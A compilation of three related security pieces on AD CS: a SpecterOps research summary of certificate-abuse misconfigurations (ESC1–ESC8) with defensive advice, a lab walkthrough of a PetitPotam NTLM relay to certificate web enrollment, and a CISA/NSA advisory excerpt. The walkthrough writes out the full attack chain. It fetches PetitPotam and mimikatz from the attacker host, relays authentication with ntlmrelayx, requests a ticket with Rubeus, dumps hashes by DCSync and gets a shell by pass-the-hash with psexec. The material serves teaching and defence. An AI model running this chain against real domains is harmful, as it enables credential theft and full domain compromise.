Certified Pre-Owned

Will Schroeder
Researcher @SpecterOps . Coding towards chaotic good while living on the decision boundary.

Published in Posts By SpecterOps Team Members
22 min read
Jun 17, 2021

TL;DR Active Directory Certificate Services has a lot of attack potential! Check out our whitepaper “Certified Pre-Owned: Abusing Active Directory Certificate Services” for complete details. We’re also presenting this material at Black Hat USA 2021.

[EDIT 06/22/21] — We’ve updated some of the details for ESC1 and ESC2 in this post which will be shortly updated in the whitepaper.

For the past several months, we (Will Schroeder and Lee Christensen) have been diving into the security of Active Directory Certificate Services (AD CS). While several aspects of Active Directory have received thorough attention from a security perspective, Active Directory Certificate Services has been relatively overlooked. AD CS is Microsoft’s PKI implementation that provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of our research), and more. While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous.

Today we’re releasing the results of our research so far (there is still much to look at, and we know we have missed things) in the form of an extensive whitepaper and a defensive PowerShell toolkit for auditing these issues. The toolkit is heavily defensive focused, but we will also release two offensive tools in ~45 days at Black Hat, as we believe that the issues described in the paper are severe and widespread enough to warrant a delay in the offensive tool release. The whitepaper also contains substantial preventative and detective guidance.

AD CS and its security implications are complicated, and we highly recommend reading the whitepaper for complete context. This post is a brief summary of the paper, and we will release a number of additional posts in the coming weeks and months to highlight elements of the research.

So why care about this? Certificate abuse can grant an attacker:

Of note, nearly every environment with AD CS that we’ve examined for domain escalation misconfigurations has been vulnerable. It’s hard for us to overstate what a big deal these issues are.

Sidenote: because of the number of attacks we ended up documenting in this research, we have tagged each attack with an ID (e.g., ESC2) as well as each defense (e.g., DETECT3). This is for ease of mapping of attacks to appropriate defenses in the whitepaper.

Active Directory Certificate Services Crash Course

Common Terms and Acronyms

There are a lot of terms and acronyms we’re going to be using throughout this post (and paper), so here’s a quick breakdown of a few for reference:

  • PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
  • AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
  • CA (Certificate Authority) — PKI server that issues certificates
  • Enterprise CA — CA integrated with AD (as opposed to a standalone CA), offers certificate templates
  • Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
  • CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
  • EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used

Overview

AD CS is a server role that functions as Microsoft’s public key infrastructure PKI implementation. As expected, it integrates tightly with Active Directory and enables the issuing of certificates, which are X.509-formatted digitally signed electronic documents that can be used for encryption, message signing, and/or authentication (our research focus).

The information included in a certificate binds an identity (the subject) to a public/private key pair. An application can then use the key pair in operations as proof of the identity of the user. Certificate Authorities (CAs) are responsible for issuing certificates.

At a high level, clients generate a public-private key pair, and the public key is placed in a certificate signing request (CSR) message along with other details such as the subject of the certificate and the certificate template name. Clients then send the CSR to the Enterprise CA server. The CA server then checks if the client is allowed to request certificates. If so, it determines if it will issue a certificate by looking up the certificate template AD object (more on these shortly) specified in the CSR. The CA will check if the certificate template AD object’s permissions allow the authenticating account to obtain a certificate. If so, the CA generates a certificate using the “blueprint” settings defined by the certificate template (e.g., EKUs, cryptography settings, issuance requirements, etc.) and using the other information supplied in the CSR if allowed by the certificate’s template settings. The CA signs the certificate using its private key and then returns it to the client.

That’s a lot of text. So here’s a graphic:

Certificate Templates

AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “How long is this certificate valid for?”, “What is the certificate used for?”, “How is the subject specified?”, “Who is allowed to request a certificate?”, and a myriad of other settings:

The pKIExtendedKeyUsage attribute on an AD certificate template object contains an array of object identifiers (OIDs) enabled for the template. These EKU object identifiers affect what the certificate can be used for (PKI Solutions has a breakdown of the EKU OIDs available from Microsoft). Our research focused on EKUs that, when present in a certificate, permit authentication to Active Directory. We originally thought that only the “Client Authentication“ OID (1.3.6.1.5.5.7.3.2) enabled this; however, our research also found that the following OID scenarios can enable certificate-based authentication:

*The 1.3.6.1.5.2.3.4 OID is not present in AD CS deployments by default and needs to be added manually, but it does work for client authentication.

Templates also have a number of other interesting settings which we explore in depth in the whitepaper. The paper also covers template “Issuance Requirements” which can function as preventative controls, which we will briefly touch on in this post.

Subject Alternative Names

A Subject Alternative Name (SAN) is an extension that allows additional identities to be bound to a certificate beyond just the subject of the certificate. For example, if a web server hosts content for multiple domains, each applicable domain could be included in the SAN so that the web server only needs a single HTTPS certificate instead of one for each domain.

This is all well and good for HTTPS certificates, but when combined with certificates that allow domain authentication, a dangerous scenario can arise. By default during certificate-based authentication, certificates are mapped to Active Directory accounts based on a user principal name (UPN) specified in the SAN. So, if an attacker can specify an arbitrary SAN when requesting a certificate that enables domain authentication, and the CA creates and signs a certificate using the attacker-supplied SAN, the attacker can become any user in the domain! Domain escalation scenarios can result from various AD CS template misconfigurations that allow unprivileged users to supply an arbitrary SAN in a certificate enrollment. We’ll cover these situations in the Domain Escalation section.

Active Directory Authentication with Certificates

Last year, @_ethicalchaos_ made a PR to Rubeus to implement PKINIT abuse, and covers more details on this in depth in their post on attacking smart card based Active Directory networks. This was a missing link for us offensively, and means that we can now use Rubeus to request a Kerberos ticket granting ticket (TGT) using a certificate enabled for domain authentication:

That’s right, we don’t need a physical smart card or the Windows Credential Store to perform this certificate-based Kerberos authentication! Benjamin Delpy’s (@gentilkiwiKekeo has supported this for years, but the Rubeus implementation made it more readily usable for our operations.

During our research, we also found that some protocols use Schannel — the security package backing SSL/TLS — to authenticate domain users. LDAPS is a commonly enabled use case. For example, the following screenshot shows the PowerShell script Get-LdapCurrentUser authenticating to LDAPS using a certificate for authentication and performing an LDAP whoami to see what account authenticated:

Account Persistence

If an Enterprise CA exists, a user (or machine) can request a cert for any template available to them for enrollment. The whitepaper covers theft of existing certificates, but we’re only going to touch on “active” malicious enrollments here. Our goal, in the context of user credential theft, is to request a certificate for a template that allows us to authenticate to Active Directory as that user (or machine). For complete details, see the “Account Persistence” section in the whitepaper.

The Certify.exe find /clientauth command will query LDAP for available templates that we can examine for our desired criteria:

This can also be done via PSPKIAudit with Get-AuditCertificateTemplate | ?{$_.HasAuthenticationEku}

If we have GUI access to a host, we can manually request a certificate through certmgr.msc. Alternatively, Certify (or certreq.exe) can be used be used for these malicious enrollments:

These issued certificates can then be used with Rubeus to authenticate to Active Directory as this user, for as long as the certificate is valid. This is an alternative method of long-term credential theft that doesn’t touch LSASS and can be performed from a non-elevated context!

This also works for machine certificates, which can be combined with S4U2Self to obtain a Kerberos service ticket to any service on the host (e.g., CIFS, HTTP, RPCSS, etc.) as any user. Elad Shamir’s excellent post about Kerberos delegation attacks details this attack scenario.

And since certificates are independent authentication material, these certificates will still be usable even if the user (or computer) resets their password!

Domain Escalation

While there isn’t anything necessarily inherently insecure about AD CS (except for ESC8 as detailed below), it is surprisingly easy to misconfigure its various elements, resulting in ways for unelevated users to escalate in the domain. We’ll briefly cover the main sets of misconfigurations, but again, see the whitepaper for complete details.

Misconfigured Certificate Templates — ESC1

In order to abuse this misconfiguration, the following conditions must be met:

  1. The Enterprise CA grants low-privileged users enrollment rights. The Enterprise CA’s configuration must permit low-privileged users the ability to request certificates. See the “Background — Certificate Enrollment” in the whitepaper paper for more details.
  2. Manager approval is disabled. This setting necessitates that a user with certificate manager permissions review and approve the requested certificate before the certificate is issued. See the “Background — Certificate Enrollment — Issuance Requirements’ section in the whitepaper paper for more details.
  3. No authorized signatures are required. This setting requires any CSR to be signed by an existing authorized certificate. See the “Background — Certificate Enrollment — Issuance Requirements” section in the whitepaper for more details.
  4. An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Having certificate enrollment rights allows a low-privileged attacker to request and obtain a certificate based on the template. Enrollment rights are granted via the certificate template AD object’s security descriptor.
  5. The certificate template defines EKUs that enable authentication. Applicable EKUs include Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).
  6. The certificate template allows requesters to specify a subjectAltName (SAN) in the CSR. If a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is present, a requester can specify the SAN. This is surfaced as the “Supply in request” option in the “Subject Name” tab in certtmpl.msc.

Misconfigured Certificate Templates — ESC2

In order to abuse this misconfiguration, the following conditions must be met:

  1. The Enterprise CA grants low-privileged users enrollment rights. Details are the same as in ESC1.
  2. Manager approval is disabled. Details are the same as in ESC1.
  3. No authorized signatures are required. Details are the same as in ESC1.
  4. An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Details are the same as in ESC1.
  5. The certificate template defines Any Purpose EKUs or no EKU.

[EDIT 06/22/21]

While templates with these EKUs can’t be used to request authentication certificates as other users without the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag being present (i.e., ESC1), an attacker can use them to authenticate to AD as the user who requested them and these two EKUs are certainly dangerous on their own.

We were initially a bit unclear about the capabilities of the Any Purpose and subordinate CA (SubCA) EKUs, but others reached out and helped us clarify our understanding. An attacker can use a certificate with the Any Purpose EKU for (surprise!) any purpose — client authentication, server authentication, code signing, etc. In contrast, an attacker can use a certificate with no EKUs — a subordinate CA certificate — for any purpose as well but could also use it to sign new certificates. As such, using a subordinate CA certificate, an attacker could specify arbitrary EKUs or fields in the new certificates.

HOWEVER, if the subordinate CA is not trusted by the NTAuthCertificates object (which it won’t be by default), the attacker cannot create new certificates that will work for domain authentication. Still, the attacker can create new certificates with any EKU and arbitrary certificate values, of which there’s plenty the attacker could potentially abuse (e.g., code signing, server authentication, etc.) and might have large implications for other applications in the network like SAML, AD FS, or IPSec.

We feel confident in stating that it’s very bad if an attacker can obtain an Any Purpose or subordinate CA (SubCA) certificate, regardless of whether it’s trusted by NTAuthCertificates or not.

[/EDIT]

Enrollment Agent Templates — ESC3

In order to abuse this misconfiguration, the following conditions must be met:

  1. The Enterprise CA grants low-privileged users enrollment rights. Details are the same as in ESC1.
  2. Manager approval is disabled. Details are the same as in ESC1.
  3. No authorized signatures are required. Details are the same as in ESC1.
  4. An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Details are the same as in ESC1.
  5. The certificate template defines the Certificate Request Agent EKU. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals.
  6. Enrollment agent restrictions are not implemented on the CA.

The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), known as “Enrollment Agent” in Microsoft documentationallows a principal to enroll for a certificate on behalf of another user. For anyone who enrolls in such a template, the resulting certificate can be used to co-sign requests on behalf of any user, for any Schema Version 1 template or any Schema Version 2+ template that requires the appropriate “Authorized Signatures/Application Policy” Issuance Requirement. This also assumes that there are no limiting Enrollment Agent Restrictions on the CA.

The few sentences before this throwback meme might need a bit of clarification. If an attacker is able to enroll in a template with a “Certificate Request Agent” EKU, they can enroll on behalf of any user for any Version 1 certificate template, or any Version 2+ template configured to explicitly require this co-signing scenario. Schema Version 1 templates don’t implement this type of Issuance Requirement, so all are on the table. Specifically, the User and Machine/Computer templates are prime targets as they contain the Client Authentication EKU and are published by default (though this can be changed), and there are other Version 1 templates that can be vulnerable if published.

If a Version 1 template is duplicated for modification, it automatically becomes Schema Version 2 by default, meaning a “Certificate Request Agent” template will NOT work unless such an issuance requirement is explicitly specified.

A bit confusing? We know. We do our best to break this down in more depth in the whitepaper, but it’s a complex set of interwoven restrictions.

Vulnerable Certificate Template Access Control — ESC4

Certificate templates are securable objects in Active Directory, meaning they have a security descriptor that specifies which Active Directory principals have specific permissions over the template. For more background on Active Directory ACLs, see our (other) whitepaper on the subject.

We say that a template is misconfigured at the access control level if it has Access Control Entries (ACEs) that allow unintended, or otherwise unprivileged, Active Directory principals to edit sensitive security settings in the template. That is, if an attacker is able to chain access to a point that they can actively push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bit in the mspki-certificate-name-flag property for a template that allows for domain authentication), we end up with domain compromise scenarios similar to what we’ve already covered. An example of this we have seen in multiple environments is Domain Computers having FullControl or WriteDacl permissions over a certificate template’s AD object, allowing attackers with access to any AD computer modify the certificate template to a dangerous state. This is a scenario explored in Christoph Falta’s GitHub repo.

Vulnerable PKI Object Access Control — ESC5

We won’t touch on this one as heavily here, but a number of objects outside of certificate templates and the certificate authority itself can have a security impact on the entire AD CS system.

These possibilities include (but are not limited to):

  • CA server’s AD computer object (i.e., compromise through RBCD)
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

EDITF_ATTRIBUTESUBJECTALTNAME2 — ESC6

Another way to supply arbitrary SANs, described in a CQure Academy post, involves the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. As Microsoft describes, “If this flag is set on the CA, any request (including when the subject is built from Active Directory®) can have user defined values in the subject alternative name.” This means that ANY template configured for domain authentication that also allows unprivileged users to enroll (e.g., the default User template) can be abused to obtain a certificate that allows us to authenticate as a domain admin (or any other active user/machine). As this Keyfactor post describes, this setting “just makes it work”, which is why it’s likely flipped in many environments by sysadmins who don’t fully understand the security implications.

Our normal reaction to seeing this setting in enterprise environments:

Vulnerable Certificate Authority Access Control — ESC7

Outside of certificate templates, a certificate authority itself has permissions (accessible through certsrv.msc) that secure various CA actions. From a security perspective we care about the ManageCA (aka “CA Administrator”) and ManageCertificates (aka “Certificate Manager/Officer”) permissions.

The ManageCA permission grants a principal the ability to perform “Administrative” CA actions, including the modification of persistent configuration data. This includes the EDITF_ATTRIBUTESUBJECTALTNAME2 flag, allowing any principal with the ManageCA permission to fixate ESC6. This can be done with PSPKI’s Enable-PolicyModuleFlag cmdlet.

The ManageCertificates permission allows the principal to approve pending certificate requests, negating the “Manager Approval” Issuance Requirement/protection. So while it can’t be used on its own to compromise the domain, it can function as a protection bypass.

NTLM Relay to AD CS HTTP Endpoints — ESC8

We cover this in more detail in the “Background — Certificate Enrollment” section of the whitepaper, but AD CS supports several HTTP-based enrollment methods via additional server roles that administrators can optionally install:

These HTTP-based certificate enrollment interfaces are all vulnerable to NTLM relay attacks. Using NTLM relay, an attacker can impersonate an inbound-NTLM-authenticating victim user. While impersonating the victim user, an attacker could access these web interfaces and request a client authentication certificate based on the User or Machine certificate templates.

This attack, like all NTLM relay attacks, requires a victim account to authenticate to an attacker-controlled machine. An attacker can coerce authentication by many means, but a simple technique is to coerce a machine account to authenticate to the attacker’s host using the MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) methods using a tool like SpoolSample or Dementor. The attacker can then use NTLM relay to impersonate the machine account and request a client authentication certificate (e.g., the default Machine/Computer template) as the victim machine account. If the victim machine account can perform privileged actions such as domain replication (e.g., domain controllers or Exchange servers), the attacker could use this certificate to compromise the domain. Otherwise, the attacker could logon as the victim machine account and use S4U2Self as previously described to access the victim machine’s host OS.

  • Note: Newer OS’es have patched the MS-RPRN coerced authentication “feature”. However, almost every environment we examine still has Server 2016 machines running, which are still vulnerable to this. There are other ways to coerce accounts to authenticate to an attacker as well.

In summary, if an environment has AD CS installed, along with a vulnerable web enrollment endpoint and at least one certificate template published that allows for domain computer enrollment and client authentication (like the default Machine/Computer template), then an attacker can compromise ANY computer with the spooler service running!

These attack scenarios work because some enrollment HTTP endpoints do not have HTTPS enabled and none of them have any NTLM relay protections enabled by default. Organizations should disable these HTTP-based enrollment server roles if they are not in use. Otherwise, network defenders can disable NTLM authentication using GPOs or configuring the associated IIS applications to only accept Kerberos authentication. If organizations cannot remove the endpoints or outright disable NTLM authentication, they should only allow HTTPS traffic and configure the IIS applications to Extended Protection for Authentication .

This specific issue was reported to MSRC, along with the other template escalation misconfigurations. The official response was, “We determined your finding is valid but does not meet our bar for a security update release.

Note: While we have verified that this attack is possible, we are waiting to publicly demonstrate it at our Black Hat talk to help facilitate fixing the issue first.

Domain Persistence

Active Directory Enterprise CAs are hooked into the authentication system of AD and the CA root certificate private key is used to sign newly issued certificates. If we stole this private key, would we be able to forge our own certificates that could be used (without a smart card) to authenticate to Active Directory as anyone in the organization?

Spoiler: yes. And this has already been possible with Mimikatz/Kekeo for years. I guess we should call these golden certificates?

The certificate exists on the CA server itself, with its private key protected by machine DPAPI if a TPM/HSM is not used for hardware-based protection. If the key is not hardware protected, Mimikatz and SharpDPAPI can extract the CA certificate and private key from the CA:

With this key, you can create and sign new certificates for ANY user and use these forged certificates to authenticate to AD for as long as the CA cert is valid (default of 5 years, but often longer). Our tool ForgeCert (which will be released at Black Hat USA 2021 along with Certify) can perform these forgeries:

Oh, and these certs can’t be revoked, since they were never actually issued by the CA itself, as detailed by Benjamin Delpy:

Unfortunately, there isn’t a huge amount of public incident response guidance as far as AD CS. But if a root CA’s key is stolen, the entire AD CS system will likely need to be rebuilt, invalidating every issued certificate.

Defensive Advice

Not only are we self-embargoing the offensive tool release for these abuses, but we’ve also spent a large amount of effort researching both preventative and detective controls for these attacks. Part of the motivation for breaking out attacks and associated defensive protections with individual identifiers was to make the whitepaper material as digestible as possible for defenders.

Besides identifying and mitigating the privilege escalation vulnerabilities, something we want to emphasize from an incident response perspective is that it is not enough to reset a compromised user’s password and/or reimage their machine. Certificate theft is trivial in most environments given code execution in a user or computer context and would allow an attacker to authenticate to AD for years — even after the account’s password has been reset. Therefore, when an account or machine is compromised, incident responders should identify and invalidate any certificates associated with the compromised accounts as well. PSPKIAudit’s Get-CertRequest can help perform this type of triage.

As the defenses for these attacks are multi-pronged, at this point we’re recommending defenders study the attacks, read the extensive “Defensive Guidance” section of the whitepaper, and reference Microsoft’s Securing PKI documentation. Defenders can also try out the PSPKIAudit’s Invoke-PKIAudit function the misconfigurations described in this post:

Wrap-up

Even months into this research, we believed that there wasn’t necessarily anything inherently insecure about Active Directory Certificate Services. While the entire system is very dangerous if an organization doesn’t fully understand AD CS or its security implications (as it’s extremely easy to misconfigure) there didn’t appear to be any “out of the box” vulnerabilities. That said, we have seen a proliferation of the ESC1–7 elevation issues in real environments since we began looking in January 2021. We feel administrators have been given a powerful weapon with the safety off for 20 years and there’s been little safety training. An attitude of, “Well, admins should have known better” in this scenario, without even providing a way to audit or investigate these issues programmatically from a defensive context, is, well, a position we suppose.

However, beyond the template misconfiguration scenarios, the ESC8 relay situation is a serious security issue. We reported this relay issue to MSRC on May 19th along with all domain escalation scenarios, and received a response on June 8th of “We determined your finding is valid but does not meet our bar for a security update release. We considered that servers with AD CS roles could mitigate this risk with a change in configuration settings to enable Extended Protection for Authentication (EPA), per this blog post.” MSRC stated that they also opened up a bug concerning the template issues and our comments about poor telemetry with the AD CS feature team, who may consider additional design changes in a future release.

To be clear, based on our research, if you are running AD CS with ANY template a domain computer can enroll in that also allows domain authentication (e.g., the Machine/Computer template that is available by default), ANY system running the spooler service can be compromised. Based on our extensive experience assessing AD environments, we believe this is very bad. If you find you are vulnerable to this, consider contacting your nearest Microsoft representative and question them as to why this insecure default configuration is allowed. As of right now, they have no intentions of directly servicing the issue, but said they may fix it at some indeterminate future date.

From a defensive perspective, you should either immediately enumerate the Web Enrollment interfaces enabled in your environment (possible with PSPKIAudit) and then either remove them, disable NTLM authentication to them, or enforce HTTPS to them and enable EPA on the IIS server component. For specifics on how to do this, please see “Defensive Guidance — Harden AD CS HTTP Endpoints — PREVENT8” in the whitepaper. We also strongly recommend organizations audit their AD CS architecture and certificate templates and treat CA servers (including subordinate CAs) as Tier 0 assets with the same protections as Domain Controllers! The “Defensive Guidance” section of the whitepaper has more information on how to proactively prevent, detect, and respond to the attacks we’ve detailed.

Yes, we’re working to integrate the escalation paths into BloodHound, but as you can see this whole thing is rather complicated, and we want to get it right. But rest assured, it’s currently under development at the moment and will be released in FOSS BloodHound.

And finally, as a disclaimer, we are not stating that we know every security issue concerning AD CS. We took our best shot in this research, but we are confident that there are additional issues and attacker tradecraft implications that we (or others) will find in the coming months, or things we have missed.

Acknowledgements

As is almost always the case, we’re standing on a number of shoulders with this research. The whitepaper gives a more complete treatment of prior work, but as a summary:

Special thanks to Mark Gamache for collaborating with us on parts of this work. He independently discovered many of these abuses, reached out to us, and brought many additional details to our attention while we were performing this research.

As always, we tried our best to cite the existing work out there that we came across, but we’re sure we missed things.

Source :

https://posts.specterops.io/certified-pre-owned-d95910965cd2

Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints

February 25, 2022
By Raj Chandel

Introduction

Will Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked about an inherent vulnerability in the web interface of CA server with web enrolment service on. An attacker can, therefore, relay the requests from the web interface to request the Domain Controller machine account’s (DC$) certificate and gain escalation+persistence. PetitPotam is one such PoC tool developed by Lionel Gilles (found here) that can coerce or persuade a windows host to authenticate against DC which can be used to request certificates and gain escalation.

 Table of content

  • Vulnerability
  • Architecture
  • Lab Setup
  • Attack Demonstration
  • Initial Compromise
  • Certificate Generation – PetitPotam Python script
  • Certificate Generation – PetitPotam.exe
  • Certificate Generation – Mimikatz
  • Privilege Escalation
    • TGT generation
    • DCSync attack
    • PassTheHash attack
  • Mitigation
  • Conclusion

 Vulnerability

AD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These enrolment interfaces are vulnerable to NTLM relay attacks. The web endpoints do not have NTLM relay protections enabled by default and hence, are vulnerable by default. Flow of the vulnerability is as follows:

  • The attack coerces/forces a Domain Controller Machine Account (workstation01$ in our case) to authenticate towards our NTLM relay setup (Kali in our case).
  • Workstation01$ account authentication request is forwarded to NTLM relay server (kali).
  • Workstation01$ account authentication relayed to CA Server or ADCS (Active Directory Certificate Service).
  • Generate Certificate
  • Use the certificate to perform attacks (like DCSync) to compromise DC1$ (CA server)

How do we force authentication? => If an attacker is patient, he can wait for organic authentication. But we don’t have that much time so we need to force authentication. One such method is the famous “Printer Bug.” But it depends on the print spooler service to be running and vulnerable. Therefore, Lionel Gilles created “PetitPotam” which initially leveraged the vulnerable EfsRpcOpenFileRaw function in MS-EFSR protocol that had an insufficient path check vulnerability. By using this, attackers can make forced/coerced authentications over SMB thus increasing NTLM relay’s capabilities. Since then, many newer functions have been added to the PetitPotam tool.

Architecture

CA server with Web Enrollment – DC1$: 192.168.1.2

Domain Controller – workstation01$: 192.168.1.3

Attacker Kali – Not in domain: 192.168.1.4

Attacker Windows – Not in domain: random IP (non-domain joined but DNS pointing to CA IP)

Lab Setup

On the Windows Server where ADCS is already configured, go to the server manager and choose to add roles and features and add the following three roles:

  • CA Web Enrolment
  • Certificate Enrolment Web Service
  • Network Device Enrolment Service

As you can see, on my server (dc1.ignite.local) I have already installed these. I didn’t change any configuration and kept everything to default.

We can start internet explorer and see on the following link if cert web enrolment is running or not.

http://dc1.ignite.local/certsrv/

And finally, you need to set up a separate DC account on a different machine as I have. In most of the scenarios, DC and CA servers are the same but just for the sake of simplicity, I have made them different. As you can see the DC machine has a DC account set up called “Workstation01” which is in the DC group.

Attack Demonstration

The demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation.

Initial Compromise

Since this is a domain escalation attack, we first need access to the victim system. Here, I have compromised a computer that has a workstation01$ account on it. It is clear that this system has a DC machine account on it which means the system belongs to a DC but we do not have access to DC.

net group “domain controllers” /domain

Our aim: generate DC certificate and authenticate CA server against it and escalate privileges to DC.

Compromised Credentials: Harshit:Password@1

Before we generate a certificate for this DC account, we need to set up our NTLM relay. We can do this using Impacket’s python script ntlmrelayx.py

ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support –adcs –template DomainController

Certificate Generation – PetitPotam Python script

PetitPotam can be downloaded from the official github repo here. To run the script is quite easy, you just need to specify the domain, credentials of the compromised user and IP of NTLM relayer (kali) followed by IP of the DC

git clone https://github.com/topotam/PetitPotam

cd PetitPotam

python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3

If everything goes well, you would see a screenshot like above with the script stating Sending EfsRpcOpenFileRaw and Attack Successful!

This should have generated the certificate for DC machine account Workstation01$ in the NTLM relay console. A few things to observe here are:

  • Authentication succeeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.
  • Attack from 192.168.1.3 controlled, attacking target 192.168.1.2: means that the relay has now successfully forwarded the request to CA server and a certificate be generated for the DC account workstation01$

You can copy this certificate in a text file.

Before we move on to the actual priv ESC methods, I’d like to show you two more methods to do the same as what we did just now.

Certificate Generation – PetitPotam.exe

The official GitHub repo also comes with the PetitPotam.exe file. You can upload this file to the victim server and execute and get the same results. If you see a slight pause and then Attack success!!! Status, you have generated the DC account’s certificate. In the PetitPotam.exe command, “1” refers to the triggering of the exploit using default EfsRpcOpenFileRaw function vulnerability. There are other vulnerable functions added by the author too.

powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe

PetitPotam.exe 192.168.1.4 192.168.1.3 1

Certificate Generation – Mimikatz

As people of culture, we like to add new exploits to our favourite mimikatz. EfsRpcOpenFileRaw function vulnerability can be triggered using mimikatz too. We just need to upload this to our victim’s server and execute the following command.

/connect: NTLM relay IP

/server: dc_account.domain.fqdn

powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe

misc::efs /server:workstation01.ignite.local /connect:192.168.1.4

All of the above methods shall yield the same certificate as result. Now, let’s escalate our privileges.

Privilege Escalation

TGT generation

We need to take a new Windows 10 system that is not in the domain to demonstrate this practical. We set up a local admin account on this system and change our DNS to point to the DC like so:

Now, since we have our DC certificate with us, we need to translate this into much more efficient means of access. Let’s generate a TGT using Rubeus first. Asktgt module in Rubeus can do that while taking the generated certificate as a command-line input. The command is as follows:

.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz…..

Kirbi is a base64 encoded TGT format used by Rubeus.

As you can see with the klist command, a TGT has been created and saved in the system for further use.

DCSync Attack

Using mimikatz, we can leverage this ticket to conduct DCSync attack. First, let’s dump the krbtgt account’s hashes.

lsadump::dcsync /domain:ignite.local /user:krbtgt

Now, an attacker can use these credentials and SID provided to perform a Golden Ticket attack (for persistence). Details can be found here. But we are concerned with CA Server’s (DC1$ machine account) admin access at the moment. Let’s run DCSync one more time on the administrator account.

lsadump::dcsync /domain:ignite.local /user:administrator

As you can see, we have now obtained the NTLM hash of the Administrator account. Let us use psexec to gain a healthy shell now by conducting a PassTheHash attack.

PassTheHash Attack

To conduct PassTheHash, we will use Impacket’s psexec.py implementation and the following command:

psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2

And voila! That’s it. You can see that we have now compromised CA Server’s DC account (DC1$) just by leveraging the ADCS web enrolment vulnerability and creds of a low priv user.

Mitigation

Microsoft has rolled out a detailed advisory on the necessary patching mechanism which can be found here. But I’ll sum it up in short sentences here:

  • Enable require SSL in the IIS manager->default sites->certsrv option
  • Enable extended protection (under certsrv->authentication)
  • Disable NTLM for IIS on ADCS server by setting certsrv->providers->negotiate:kerberos

 Conclusion

Certified-Pre Owned is a valuable white paper focusing on various ADCS vulnerabilities and through the means of our blog, we aim to create awareness about these attacks so that organisations can understand, implement and patch such unknown and unobserved weaknesses. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

Source :
https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/

NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations

Release Date October 05, 2023
Alert CodeAA23-278A

A plea for network defenders and software manufacturers to fix common problems.

EXECUTIVE SUMMARY

The National Security Agency (NSA) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint cybersecurity advisory (CSA) to highlight the most common cybersecurity misconfigurations in large organizations, and detail the tactics, techniques, and procedures (TTPs) actors use to exploit these misconfigurations.

Through NSA and CISA Red and Blue team assessments, as well as through the activities of NSA and CISA Hunt and Incident Response teams, the agencies identified the following 10 most common network misconfigurations:

  1. Default configurations of software and applications
  2. Improper separation of user/administrator privilege
  3. Insufficient internal network monitoring
  4. Lack of network segmentation
  5. Poor patch management
  6. Bypass of system access controls
  7. Weak or misconfigured multifactor authentication (MFA) methods
  8. Insufficient access control lists (ACLs) on network shares and services
  9. Poor credential hygiene
  10. Unrestricted code execution

These misconfigurations illustrate (1) a trend of systemic weaknesses in many large organizations, including those with mature cyber postures, and (2) the importance of software manufacturers embracing secure-by-design principles to reduce the burden on network defenders:

  • Properly trained, staffed, and funded network security teams can implement the known mitigations for these weaknesses.
  • Software manufacturers must reduce the prevalence of these misconfigurations—thus strengthening the security posture for customers—by incorporating secure-by-design and -default principles and tactics into their software development practices.[1]

NSA and CISA encourage network defenders to implement the recommendations found within the Mitigations section of this advisory—including the following—to reduce the risk of malicious actors exploiting the identified misconfigurations.

  • Remove default credentials and harden configurations.
  • Disable unused services and implement access controls.
  • Update regularly and automate patching, prioritizing patching of known exploited vulnerabilities.[2]
  • Reduce, restrict, audit, and monitor administrative accounts and privileges.

NSA and CISA urge software manufacturers to take ownership of improving security outcomes of their customers by embracing secure-by-design and-default tactics, including:

  • Embedding security controls into product architecture from the start of development and throughout the entire software development lifecycle (SDLC).
  • Eliminating default passwords.
  • Providing high-quality audit logs to customers at no extra charge.
